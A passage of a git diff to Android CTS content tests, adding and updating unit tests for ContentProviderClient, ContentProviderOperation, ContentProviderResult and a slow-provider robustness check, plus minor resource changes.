+ -->
+<selector xmlns:android="http://schemas.android.com/apk/res/android">
+ <item android:color="@android:color/white"/>
+</selector>
\ No newline at end of file
diff --git a/tests/tests/content/res/color/testcolor_daynight.xml b/tests/tests/content/res/color/testcolor_daynight.xml
new file mode 100644
index 0000000..0f13433
--- /dev/null
+++ b/tests/tests/content/res/color/testcolor_daynight.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<selector xmlns:android="http://schemas.android.com/apk/res/android">
+ <item android:color="#777777"/>
+</selector>
\ No newline at end of file
diff --git a/tests/tests/content/res/values/styles.xml b/tests/tests/content/res/values/styles.xml
index bc583f1..873e0db 100644
--- a/tests/tests/content/res/values/styles.xml
+++ b/tests/tests/content/res/values/styles.xml
@@ -187,10 +187,6 @@
<item name="themeTileMode">2</item>
</style>
- <style name="Theme_NoSwipeDismiss">
- <item name="android:windowSwipeToDismiss">false</item>
- </style>
-
<style name="Theme_LayoutDirectionDependent">
<item name="themeInteger">999</item>
</style>
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 9232dc9..1198ef8 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -464,6 +464,10 @@
assertCanBeHandled(intent);
}
+ public void testAddNetworksIntent() {
+ assertCanBeHandled(new Intent(Settings.ACTION_WIFI_ADD_NETWORKS));
+ }
+
private boolean isHandheld() {
// handheld nature is not exposed to package manager, for now
// we check for touchscreen and NOT watch, NOT tv and NOT car
diff --git a/tests/tests/content/src/android/content/cts/BuggyProviderTest.java b/tests/tests/content/src/android/content/cts/BuggyProviderTest.java
new file mode 100644
index 0000000..0c17256
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/BuggyProviderTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.cts;
+
+import android.app.ActivityManager;
+import android.content.ContentResolver;
+import android.os.UserHandle;
+import android.test.AndroidTestCase;
+
+/**
+ * Test system behavior of a buggy provider.
+ *
+ * see @{@link MockBuggyProvider}
+ */
+public class BuggyProviderTest extends AndroidTestCase {
+
+ public void testGetTypeDoesntCrashSystem() {
+ // ensure the system doesn't crash when a provider takes too long to respond
+ try {
+ ActivityManager.getService().getProviderMimeType(
+ MockBuggyProvider.CONTENT_URI, UserHandle.USER_CURRENT);
+ } catch (Exception e) {
+ fail("Unexpected exception while fetching type: " + e.getMessage());
+ }
+ }
+
+ public void testGetTypeViaResolverDoesntCrashSystem() {
+ // ensure the system doesn't crash when a provider takes too long to respond
+ ContentResolver resolver = mContext.getContentResolver();
+ try {
+ resolver.getType(MockBuggyProvider.CONTENT_URI);
+ } catch (Exception e) {
+ fail("Unexpected exception while fetching type: " + e.getMessage());
+ }
+ }
+}
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java b/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java
index 0a15455..9119ea1 100644
--- a/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java
@@ -60,13 +60,14 @@
};
private static final String PACKAGE_NAME = "android.content.cts";
+ private static final String FEATURE_ID = "testFeature";
private static final String MODE = "mode";
- private static final String SELECTION = "selection";
private static final String AUTHORITY = "authority";
private static final String METHOD = "method";
private static final String ARG = "arg";
private static final Uri URI = Uri.parse("com.example.app://path");
private static final Bundle ARGS = new Bundle();
+ private static final Bundle EXTRAS = new Bundle();
private static final ContentValues VALUES = new ContentValues();
private static final ContentValues[] VALUES_ARRAY = {VALUES};
private static final ArrayList<ContentProviderOperation> OPS = new ArrayList<>();
@@ -88,7 +89,8 @@
when(mIContentProvider.createCancellationSignal()).thenReturn(mICancellationSignal);
- mContentResolver = spy(new MockContentResolver(getContext()));
+ mContentResolver = spy(
+ new MockContentResolver(getContext().createFeatureContext(FEATURE_ID)));
mContentProviderClient = spy(new ContentProviderClient(mContentResolver, mIContentProvider,
false));
@@ -107,22 +109,24 @@
public void testQuery() throws RemoteException {
mContentProviderClient.query(URI, null, ARGS, mCancellationSignal);
- verify(mIContentProvider).query(PACKAGE_NAME, URI, null, ARGS, mICancellationSignal);
+ verify(mIContentProvider).query(PACKAGE_NAME, FEATURE_ID, URI, null, ARGS,
+ mICancellationSignal);
}
public void testQueryTimeout() throws RemoteException, InterruptedException {
- when(mIContentProvider.query(PACKAGE_NAME, URI, null, ARGS, mICancellationSignal))
- .thenAnswer(ANSWER_SLEEP);
+ when(mIContentProvider.query(PACKAGE_NAME, FEATURE_ID, URI, null, ARGS,
+ mICancellationSignal)).thenAnswer(ANSWER_SLEEP);
testTimeout(() -> mContentProviderClient.query(URI, null, ARGS, mCancellationSignal));
- verify(mIContentProvider).query(PACKAGE_NAME, URI, null, ARGS, mICancellationSignal);
+ verify(mIContentProvider).query(PACKAGE_NAME, FEATURE_ID, URI, null, ARGS,
+ mICancellationSignal);
}
public void testQueryAlreadyCancelled() throws Exception {
testAlreadyCancelled(
() -> mContentProviderClient.query(URI, null, ARGS, mCancellationSignal));
- verify(mIContentProvider, never()).query(PACKAGE_NAME, URI, null, ARGS,
+ verify(mIContentProvider, never()).query(PACKAGE_NAME, FEATURE_ID, URI, null, ARGS,
mICancellationSignal);
}
@@ -156,182 +160,185 @@
public void testCanonicalize() throws RemoteException {
mContentProviderClient.canonicalize(URI);
- verify(mIContentProvider).canonicalize(PACKAGE_NAME, URI);
+ verify(mIContentProvider).canonicalize(PACKAGE_NAME, FEATURE_ID, URI);
}
public void testCanonicalizeTimeout() throws RemoteException, InterruptedException {
- when(mIContentProvider.canonicalize(PACKAGE_NAME, URI))
+ when(mIContentProvider.canonicalize(PACKAGE_NAME, FEATURE_ID, URI))
.thenAnswer(ANSWER_SLEEP);
testTimeout(() -> mContentProviderClient.canonicalize(URI));
- verify(mIContentProvider).canonicalize(PACKAGE_NAME, URI);
+ verify(mIContentProvider).canonicalize(PACKAGE_NAME, FEATURE_ID, URI);
}
public void testUncanonicalize() throws RemoteException {
mContentProviderClient.uncanonicalize(URI);
- verify(mIContentProvider).uncanonicalize(PACKAGE_NAME, URI);
+ verify(mIContentProvider).uncanonicalize(PACKAGE_NAME, FEATURE_ID, URI);
}
public void testUncanonicalizeTimeout() throws RemoteException, InterruptedException {
- when(mIContentProvider.uncanonicalize(PACKAGE_NAME, URI))
+ when(mIContentProvider.uncanonicalize(PACKAGE_NAME, FEATURE_ID, URI))
.thenAnswer(ANSWER_SLEEP);
testTimeout(() -> mContentProviderClient.uncanonicalize(URI));
- verify(mIContentProvider).uncanonicalize(PACKAGE_NAME, URI);
+ verify(mIContentProvider).uncanonicalize(PACKAGE_NAME, FEATURE_ID, URI);
}
public void testRefresh() throws RemoteException {
mContentProviderClient.refresh(URI, ARGS, mCancellationSignal);
- verify(mIContentProvider).refresh(PACKAGE_NAME, URI, ARGS, mICancellationSignal);
+ verify(mIContentProvider).refresh(PACKAGE_NAME, FEATURE_ID, URI, ARGS,
+ mICancellationSignal);
}
public void testRefreshTimeout() throws RemoteException, InterruptedException {
- when(mIContentProvider.refresh(PACKAGE_NAME, URI, ARGS, mICancellationSignal))
+ when(mIContentProvider.refresh(PACKAGE_NAME, FEATURE_ID, URI, ARGS, mICancellationSignal))
.thenAnswer(ANSWER_SLEEP);
testTimeout(() -> mContentProviderClient.refresh(URI, ARGS, mCancellationSignal));
- verify(mIContentProvider).refresh(PACKAGE_NAME, URI, ARGS, mICancellationSignal);
+ verify(mIContentProvider).refresh(PACKAGE_NAME, FEATURE_ID, URI, ARGS,
+ mICancellationSignal);
}
public void testRefreshAlreadyCancelled() throws Exception {
testAlreadyCancelled(() -> mContentProviderClient.refresh(URI, ARGS, mCancellationSignal));
- verify(mIContentProvider, never()).refresh(PACKAGE_NAME, URI, ARGS, mICancellationSignal);
+ verify(mIContentProvider, never()).refresh(PACKAGE_NAME, FEATURE_ID, URI, ARGS,
+ mICancellationSignal);
}
public void testInsert() throws RemoteException {
- mContentProviderClient.insert(URI, VALUES);
- verify(mIContentProvider).insert(PACKAGE_NAME, URI, VALUES);
+ mContentProviderClient.insert(URI, VALUES, EXTRAS);
+ verify(mIContentProvider).insert(PACKAGE_NAME, FEATURE_ID, URI, VALUES, EXTRAS);
}
public void testInsertTimeout() throws RemoteException, InterruptedException {
- when(mIContentProvider.insert(PACKAGE_NAME, URI, VALUES))
+ when(mIContentProvider.insert(PACKAGE_NAME, FEATURE_ID, URI, VALUES, EXTRAS))
.thenAnswer(ANSWER_SLEEP);
- testTimeout(() -> mContentProviderClient.insert(URI, VALUES));
+ testTimeout(() -> mContentProviderClient.insert(URI, VALUES, EXTRAS));
- verify(mIContentProvider).insert(PACKAGE_NAME, URI, VALUES);
+ verify(mIContentProvider).insert(PACKAGE_NAME, FEATURE_ID, URI, VALUES, EXTRAS);
}
public void testBulkInsert() throws RemoteException {
mContentProviderClient.bulkInsert(URI, VALUES_ARRAY);
- verify(mIContentProvider).bulkInsert(PACKAGE_NAME, URI, VALUES_ARRAY);
+ verify(mIContentProvider).bulkInsert(PACKAGE_NAME, FEATURE_ID, URI, VALUES_ARRAY);
}
public void testBulkInsertTimeout() throws RemoteException, InterruptedException {
- when(mIContentProvider.bulkInsert(PACKAGE_NAME, URI, VALUES_ARRAY))
+ when(mIContentProvider.bulkInsert(PACKAGE_NAME, FEATURE_ID, URI, VALUES_ARRAY))
.thenAnswer(ANSWER_SLEEP);
testTimeout(() -> mContentProviderClient.bulkInsert(URI, VALUES_ARRAY));
- verify(mIContentProvider).bulkInsert(PACKAGE_NAME, URI, VALUES_ARRAY);
+ verify(mIContentProvider).bulkInsert(PACKAGE_NAME, FEATURE_ID, URI, VALUES_ARRAY);
}
public void testDelete() throws RemoteException {
- mContentProviderClient.delete(URI, SELECTION, new String[0]);
- verify(mIContentProvider).delete(PACKAGE_NAME, URI, SELECTION, new String[0]);
+ mContentProviderClient.delete(URI, EXTRAS);
+ verify(mIContentProvider).delete(PACKAGE_NAME, FEATURE_ID, URI, EXTRAS);
}
public void testDeleteTimeout() throws RemoteException, InterruptedException {
- when(mIContentProvider.delete(PACKAGE_NAME, URI, SELECTION, new String[0]))
+ when(mIContentProvider.delete(PACKAGE_NAME, FEATURE_ID, URI, EXTRAS))
.thenAnswer(ANSWER_SLEEP);
- testTimeout(() -> mContentProviderClient.delete(URI, SELECTION, new String[0]));
+ testTimeout(() -> mContentProviderClient.delete(URI, EXTRAS));
- verify(mIContentProvider).delete(PACKAGE_NAME, URI, SELECTION, new String[0]);
+ verify(mIContentProvider).delete(PACKAGE_NAME, FEATURE_ID, URI, EXTRAS);
}
public void testUpdate() throws RemoteException {
- mContentProviderClient.update(URI, VALUES, SELECTION, new String[0]);
- verify(mIContentProvider).update(PACKAGE_NAME, URI, VALUES, SELECTION,
- new String[0]);
+ mContentProviderClient.update(URI, VALUES, EXTRAS);
+ verify(mIContentProvider).update(PACKAGE_NAME, FEATURE_ID, URI, VALUES, EXTRAS);
}
public void testUpdateTimeout() throws RemoteException, InterruptedException {
- when(mIContentProvider.update(PACKAGE_NAME, URI, VALUES, SELECTION,
- new String[0]))
+ when(mIContentProvider.update(PACKAGE_NAME, FEATURE_ID, URI, VALUES, EXTRAS))
.thenAnswer(ANSWER_SLEEP);
- testTimeout(() -> mContentProviderClient.update(URI, VALUES, SELECTION,
- new String[0]));
+ testTimeout(() -> mContentProviderClient.update(URI, VALUES, EXTRAS));
- verify(mIContentProvider).update(PACKAGE_NAME, URI, VALUES, SELECTION,
- new String[0]);
+ verify(mIContentProvider).update(PACKAGE_NAME, FEATURE_ID, URI, VALUES, EXTRAS);
}
public void testOpenFile() throws RemoteException, FileNotFoundException {
mContentProviderClient.openFile(URI, MODE, mCancellationSignal);
- verify(mIContentProvider).openFile(PACKAGE_NAME, URI, MODE, mICancellationSignal, null);
+ verify(mIContentProvider).openFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
+ mICancellationSignal, null);
}
public void testOpenFileTimeout()
throws RemoteException, InterruptedException, FileNotFoundException {
- when(mIContentProvider.openFile(PACKAGE_NAME, URI, MODE, mICancellationSignal, null))
- .thenAnswer(ANSWER_SLEEP);
+ when(mIContentProvider.openFile(PACKAGE_NAME, FEATURE_ID, URI, MODE, mICancellationSignal,
+ null)).thenAnswer(ANSWER_SLEEP);
testTimeout(() -> mContentProviderClient.openFile(URI, MODE, mCancellationSignal));
- verify(mIContentProvider).openFile(PACKAGE_NAME, URI, MODE, mICancellationSignal, null);
+ verify(mIContentProvider).openFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
+ mICancellationSignal, null);
}
public void testOpenFileAlreadyCancelled() throws Exception {
testAlreadyCancelled(() -> mContentProviderClient.openFile(URI, MODE, mCancellationSignal));
- verify(mIContentProvider, never()).openFile(PACKAGE_NAME, URI, MODE,
+ verify(mIContentProvider, never()).openFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
mICancellationSignal, null);
}
public void testOpenAssetFile() throws RemoteException, FileNotFoundException {
mContentProviderClient.openAssetFile(URI, MODE, mCancellationSignal);
- verify(mIContentProvider).openAssetFile(PACKAGE_NAME, URI, MODE, mICancellationSignal);
+ verify(mIContentProvider).openAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
+ mICancellationSignal);
}
public void testOpenAssetFileTimeout()
throws RemoteException, InterruptedException, FileNotFoundException {
- when(mIContentProvider.openAssetFile(PACKAGE_NAME, URI, MODE, mICancellationSignal))
- .thenAnswer(ANSWER_SLEEP);
+ when(mIContentProvider.openAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
+ mICancellationSignal)).thenAnswer(ANSWER_SLEEP);
testTimeout(() -> mContentProviderClient.openAssetFile(URI, MODE, mCancellationSignal));
- verify(mIContentProvider).openAssetFile(PACKAGE_NAME, URI, MODE, mICancellationSignal);
+ verify(mIContentProvider).openAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
+ mICancellationSignal);
}
public void testOpenAssetFileAlreadyCancelled() throws Exception {
testAlreadyCancelled(
() -> mContentProviderClient.openAssetFile(URI, MODE, mCancellationSignal));
- verify(mIContentProvider, never()).openAssetFile(PACKAGE_NAME, URI, MODE,
+ verify(mIContentProvider, never()).openAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
mICancellationSignal);
}
public void testOpenTypedAssetFileDescriptor() throws RemoteException, FileNotFoundException {
mContentProviderClient.openTypedAssetFileDescriptor(URI, MODE, ARGS, mCancellationSignal);
- verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, URI, MODE, ARGS,
+ verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE, ARGS,
mICancellationSignal);
}
public void testOpenTypedAssetFile() throws RemoteException, FileNotFoundException {
mContentProviderClient.openTypedAssetFile(URI, MODE, ARGS, mCancellationSignal);
- verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, URI, MODE, ARGS,
+ verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE, ARGS,
mICancellationSignal);
}
public void testOpenTypedAssetFileTimeout()
throws RemoteException, InterruptedException, FileNotFoundException {
- when(mIContentProvider.openTypedAssetFile(PACKAGE_NAME, URI, MODE, ARGS,
+ when(mIContentProvider.openTypedAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE, ARGS,
mICancellationSignal))
.thenAnswer(ANSWER_SLEEP);
testTimeout(() -> mContentProviderClient.openTypedAssetFile(URI, MODE, ARGS,
mCancellationSignal));
- verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, URI, MODE, ARGS,
+ verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE, ARGS,
mICancellationSignal);
}
@@ -340,39 +347,39 @@
() -> mContentProviderClient.openTypedAssetFile(URI, MODE, ARGS,
mCancellationSignal));
- verify(mIContentProvider, never()).openTypedAssetFile(PACKAGE_NAME, URI, MODE, ARGS,
- mICancellationSignal);
+ verify(mIContentProvider, never()).openTypedAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
+ ARGS, mICancellationSignal);
}
public void testApplyBatch() throws RemoteException, OperationApplicationException {
mContentProviderClient.applyBatch(AUTHORITY, OPS);
- verify(mIContentProvider).applyBatch(PACKAGE_NAME, AUTHORITY, OPS);
+ verify(mIContentProvider).applyBatch(PACKAGE_NAME, FEATURE_ID, AUTHORITY, OPS);
}
public void testApplyBatchTimeout()
throws RemoteException, InterruptedException, OperationApplicationException {
- when(mIContentProvider.applyBatch(PACKAGE_NAME, AUTHORITY, OPS))
+ when(mIContentProvider.applyBatch(PACKAGE_NAME, FEATURE_ID, AUTHORITY, OPS))
.thenAnswer(ANSWER_SLEEP);
testTimeout(() -> mContentProviderClient.applyBatch(AUTHORITY, OPS));
- verify(mIContentProvider).applyBatch(PACKAGE_NAME, AUTHORITY, OPS);
+ verify(mIContentProvider).applyBatch(PACKAGE_NAME, FEATURE_ID, AUTHORITY, OPS);
}
public void testCall() throws RemoteException {
mContentProviderClient.call(AUTHORITY, METHOD, ARG, ARGS);
- verify(mIContentProvider).call(PACKAGE_NAME, AUTHORITY, METHOD, ARG, ARGS);
+ verify(mIContentProvider).call(PACKAGE_NAME, FEATURE_ID, AUTHORITY, METHOD, ARG, ARGS);
}
public void testCallTimeout() throws RemoteException, InterruptedException {
- when(mIContentProvider.call(PACKAGE_NAME, AUTHORITY, METHOD, ARG, ARGS))
+ when(mIContentProvider.call(PACKAGE_NAME, FEATURE_ID, AUTHORITY, METHOD, ARG, ARGS))
.thenAnswer(ANSWER_SLEEP);
testTimeout(() -> mContentProviderClient.call(AUTHORITY, METHOD, ARG, ARGS));
- verify(mIContentProvider).call(PACKAGE_NAME, AUTHORITY, METHOD, ARG, ARGS);
+ verify(mIContentProvider).call(PACKAGE_NAME, FEATURE_ID, AUTHORITY, METHOD, ARG, ARGS);
}
private void testTimeout(Function function) throws InterruptedException {
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderOperationTest.java b/tests/tests/content/src/android/content/cts/ContentProviderOperationTest.java
new file mode 100644
index 0000000..1aacd99
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/ContentProviderOperationTest.java
@@ -0,0 +1,264 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package android.content.cts;
+
+import static android.content.ContentResolver.QUERY_ARG_SQL_SELECTION;
+import static android.content.ContentResolver.QUERY_ARG_SQL_SELECTION_ARGS;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+import android.content.ContentProvider;
+import android.content.ContentProviderOperation;
+import android.content.ContentProviderResult;
+import android.content.ContentValues;
+import android.database.MatrixCursor;
+import android.net.Uri;
+import android.os.Bundle;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentMatchers;
+
+import java.util.Objects;
+
+@RunWith(AndroidJUnit4.class)
+public class ContentProviderOperationTest {
+ private static final Uri TEST_URI = Uri.parse("content://com.example");
+ private static final Uri TEST_URI_RESULT = Uri.parse("content://com.example/12");
+ private static final String TEST_SELECTION = "foo=?";
+ private static final String[] TEST_SELECTION_ARGS = new String[] { "bar" };
+ private static final String TEST_METHOD = "test_method";
+ private static final String TEST_ARG = "test_arg";
+
+ private static final ContentValues TEST_VALUES = new ContentValues();
+ private static final Bundle TEST_EXTRAS = new Bundle();
+ private static final Bundle TEST_EXTRAS_WITH_SQL = new Bundle();
+ private static final Bundle TEST_EXTRAS_RESULT = new Bundle();
+
+ static {
+ TEST_VALUES.put("test_key", "test_value");
+
+ TEST_EXTRAS.putString("test_key", "test_value");
+
+ TEST_EXTRAS_WITH_SQL.putAll(TEST_EXTRAS);
+ TEST_EXTRAS_WITH_SQL.putString(QUERY_ARG_SQL_SELECTION, TEST_SELECTION);
+ TEST_EXTRAS_WITH_SQL.putStringArray(QUERY_ARG_SQL_SELECTION_ARGS, TEST_SELECTION_ARGS);
+
+ TEST_EXTRAS_RESULT.putString("test_result", "42");
+ }
+
+ private static final ContentProviderResult[] TEST_RESULTS = new ContentProviderResult[] {
+ new ContentProviderResult(TEST_URI_RESULT),
+ new ContentProviderResult(84),
+ new ContentProviderResult(TEST_EXTRAS_RESULT),
+ new ContentProviderResult(new IllegalArgumentException()),
+ };
+
+ private ContentProvider provider;
+
+ private ContentProviderOperation op;
+ private ContentProviderResult res;
+
+ @Before
+ public void setUp() throws Exception {
+ provider = mock(ContentProvider.class);
+ }
+
+ @Test
+ public void testInsert() throws Exception {
+ op = ContentProviderOperation.newInsert(TEST_URI)
+ .withValues(TEST_VALUES)
+ .withExtras(TEST_EXTRAS)
+ .build();
+
+ assertEquals(TEST_URI, op.getUri());
+ assertTrue(op.isInsert());
+ assertTrue(op.isWriteOperation());
+
+ when(provider.insert(eq(TEST_URI), eq(TEST_VALUES), eqBundle(TEST_EXTRAS)))
+ .thenReturn(TEST_URI_RESULT);
+ res = op.apply(provider, null, 0);
+ assertEquals(TEST_URI_RESULT, res.uri);
+ }
+
+ @Test
+ public void testUpdate() throws Exception {
+ op = ContentProviderOperation.newUpdate(TEST_URI)
+ .withSelection(TEST_SELECTION, TEST_SELECTION_ARGS)
+ .withValues(TEST_VALUES)
+ .withExtras(TEST_EXTRAS)
+ .build();
+
+ assertEquals(TEST_URI, op.getUri());
+ assertTrue(op.isUpdate());
+ assertTrue(op.isWriteOperation());
+
+ when(provider.update(eq(TEST_URI), eq(TEST_VALUES), eqBundle(TEST_EXTRAS_WITH_SQL)))
+ .thenReturn(1);
+ res = op.apply(provider, null, 0);
+ assertEquals(1, (int) res.count);
+ }
+
+ @Test
+ public void testDelete() throws Exception {
+ op = ContentProviderOperation.newDelete(TEST_URI)
+ .withSelection(TEST_SELECTION, TEST_SELECTION_ARGS)
+ .withExtras(TEST_EXTRAS)
+ .build();
+
+ assertEquals(TEST_URI, op.getUri());
+ assertTrue(op.isDelete());
+ assertTrue(op.isWriteOperation());
+
+ when(provider.delete(eq(TEST_URI), eqBundle(TEST_EXTRAS_WITH_SQL)))
+ .thenReturn(1);
+ res = op.apply(provider, null, 0);
+ assertEquals(1, (int) res.count);
+ }
+
+ @Test
+ public void testAssertQuery() throws Exception {
+ op = ContentProviderOperation.newAssertQuery(TEST_URI)
+ .withSelection(TEST_SELECTION, TEST_SELECTION_ARGS)
+ .withExtras(TEST_EXTRAS)
+ .withValues(TEST_VALUES)
+ .build();
+
+ assertEquals(TEST_URI, op.getUri());
+ assertTrue(op.isAssertQuery());
+ assertTrue(op.isReadOperation());
+
+ final MatrixCursor cursor = new MatrixCursor(new String[] { "test_key" });
+ cursor.addRow(new Object[] { "test_value" });
+
+ when(provider.query(eq(TEST_URI), eq(new String[] { "test_key" }),
+ eqBundle(TEST_EXTRAS_WITH_SQL), eq(null)))
+ .thenReturn(cursor);
+ op.apply(provider, null, 0);
+ }
+
+ @Test
+ public void testCall() throws Exception {
+ op = ContentProviderOperation.newCall(TEST_URI, TEST_METHOD, TEST_ARG)
+ .withExtras(TEST_EXTRAS)
+ .build();
+
+ assertEquals(TEST_URI, op.getUri());
+ assertTrue(op.isCall());
+
+ when(provider.call(eq(TEST_URI.getAuthority()), eq(TEST_METHOD),
+ eq(TEST_ARG), eqBundle(TEST_EXTRAS)))
+ .thenReturn(TEST_EXTRAS_RESULT);
+ res = op.apply(provider, null, 0);
+ assertEquals(TEST_EXTRAS_RESULT, res.extras);
+ }
+
+ @Test
+ public void testBackReferenceSelection() throws Exception {
+ op = ContentProviderOperation.newDelete(TEST_URI)
+ .withSelection(null, new String[] { "a", "b", "c", "d" })
+ .withSelectionBackReference(0, 0)
+ .withSelectionBackReference(1, 1)
+ .withSelectionBackReference(2, 2, "test_result")
+ .build();
+
+ final String[] res = op.resolveSelectionArgsBackReferences(TEST_RESULTS,
+ TEST_RESULTS.length);
+ assertEquals("12", res[0]);
+ assertEquals("84", res[1]);
+ assertEquals("42", res[2]);
+ assertEquals("d", res[3]);
+ }
+
+ @Test
+ public void testBackReferenceValue() throws Exception {
+ final ContentValues values = new ContentValues();
+ values.put("a", "a");
+ values.put("b", "b");
+ values.put("c", "c");
+ values.put("d", "d");
+
+ op = ContentProviderOperation.newUpdate(TEST_URI)
+ .withValues(values)
+ .withValueBackReference("a", 0)
+ .withValueBackReference("b", 1)
+ .withValueBackReference("c", 2, "test_result")
+ .build();
+
+ final ContentValues res = op.resolveValueBackReferences(TEST_RESULTS,
+ TEST_RESULTS.length);
+ assertEquals(12L, (long) res.get("a"));
+ assertEquals(84L, (long) res.get("b"));
+ assertEquals("42", res.get("c"));
+ assertEquals("d", res.get("d"));
+ }
+
+ @Test
+ public void testBackReferenceExtra() throws Exception {
+ final Bundle extras = new Bundle();
+ extras.putString("a", "a");
+ extras.putString("b", "b");
+ extras.putString("c", "c");
+ extras.putString("d", "d");
+
+ op = ContentProviderOperation.newCall(TEST_URI, TEST_METHOD, TEST_ARG)
+ .withExtras(extras)
+ .withExtraBackReference("a", 0)
+ .withExtraBackReference("b", 1)
+ .withExtraBackReference("c", 2, "test_result")
+ .build();
+
+ final Bundle res = op.resolveExtrasBackReferences(TEST_RESULTS,
+ TEST_RESULTS.length);
+ assertEquals(12L, (long) res.get("a"));
+ assertEquals(84L, (long) res.get("b"));
+ assertEquals("42", res.get("c"));
+ assertEquals("d", res.get("d"));
+ }
+
+ @Test
+ public void testExceptionAllowed() throws Exception {
+ op = ContentProviderOperation.newCall(TEST_URI, TEST_METHOD, TEST_ARG)
+ .withExtras(TEST_EXTRAS)
+ .withExceptionAllowed(true)
+ .build();
+
+ assertTrue(op.isExceptionAllowed());
+
+ when(provider.call(eq(TEST_URI.getAuthority()), eq(TEST_METHOD),
+ eq(TEST_ARG), eqBundle(TEST_EXTRAS)))
+ .thenThrow(new IllegalArgumentException());
+ res = op.apply(provider, null, 0);
+ assertTrue((res.exception instanceof IllegalArgumentException));
+ }
+
+ public static Bundle eqBundle(Bundle bundle) {
+ return ArgumentMatchers.argThat((other) -> {
+ // Ideally we'd use something like Bundle.kindofEquals() here, but
+ // it doesn't perform deep equals inside String[] values, so the
+ // best we can do is a simple string equality check
+ return Objects.equals(bundle.toString(), other.toString());
+ });
+ }
+}
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderResultTest.java b/tests/tests/content/src/android/content/cts/ContentProviderResultTest.java
new file mode 100644
index 0000000..7e98296
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/ContentProviderResultTest.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package android.content.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.ContentProviderResult;
+import android.net.Uri;
+import android.os.Bundle;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ContentProviderResultTest {
+ private final Uri TEST_URI = Uri.EMPTY;
+ private final Bundle TEST_BUNDLE = Bundle.EMPTY;
+ private final Exception TEST_EXCEPTION = new IllegalArgumentException();
+
+ @Test
+ public void testUri() throws Exception {
+ assertEquals(TEST_URI, new ContentProviderResult(TEST_URI).uri);
+ }
+
+ @Test
+ public void testCount() throws Exception {
+ assertEquals(42, (int) new ContentProviderResult(42).count);
+ }
+
+ @Test
+ public void testExtras() throws Exception {
+ assertEquals(TEST_BUNDLE, new ContentProviderResult(TEST_BUNDLE).extras);
+ }
+
+ @Test
+ public void testException() throws Exception {
